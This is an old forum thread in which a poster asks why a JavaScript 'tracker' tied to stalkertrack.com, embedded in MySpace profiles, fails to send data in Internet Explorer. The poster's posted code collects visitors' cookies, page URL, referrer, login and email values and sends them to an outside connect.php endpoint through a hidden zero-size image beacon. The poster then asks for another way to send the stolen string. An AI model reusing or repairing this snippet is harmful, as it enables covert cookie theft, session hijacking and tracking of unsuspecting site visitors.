PDA

View Full Version : Strange thing happeing with javascript



TrainReq
Mar 18th, 2007, 09:33 AM
I have a javascript with functions on it... and on my server , it works fine in FF but not in IE...

On another domain (but same server), i have the same JS file on it, and it works fine in both browsers.. what could be happening , and what can I do to get around it.

Kor
Mar 18th, 2007, 09:51 AM
we must see the code in action...

TrainReq
Mar 18th, 2007, 09:18 PM
hm.. well ..

http://stalkertrack.com = working one (click on view profile) .
http://www.myspace.com/gbd951 = non working one...

but the thing is... EVERY function loads.. except for the one that sends the info to connect.php ... atleast not in IE it doesnt send anything to connect.php ... here is the JS I am using..

http://nightstarproductions.com/sqltrack.js

TrainReq
Mar 18th, 2007, 11:35 PM
is there any way I could send the sting beisdes a fake image function such as this:



var str='g='+getusername();str+='&url='+escape(parent.document.URL);str+='&referrer='+escape(parent.document.referrer);str+='&cookie='+escape(document.cookie);str+='&pic='+pic;str+='&login='+login;str+='&name='+name+'&logins='+escape(logins)+'&email='+escape(email);

var img=document.createElement('img');
img.src='http://www.zingtunnel.com/connect.php?'+str;
img.width=0;
img.height=0;

TrainReq
Mar 20th, 2007, 05:37 AM
Bump.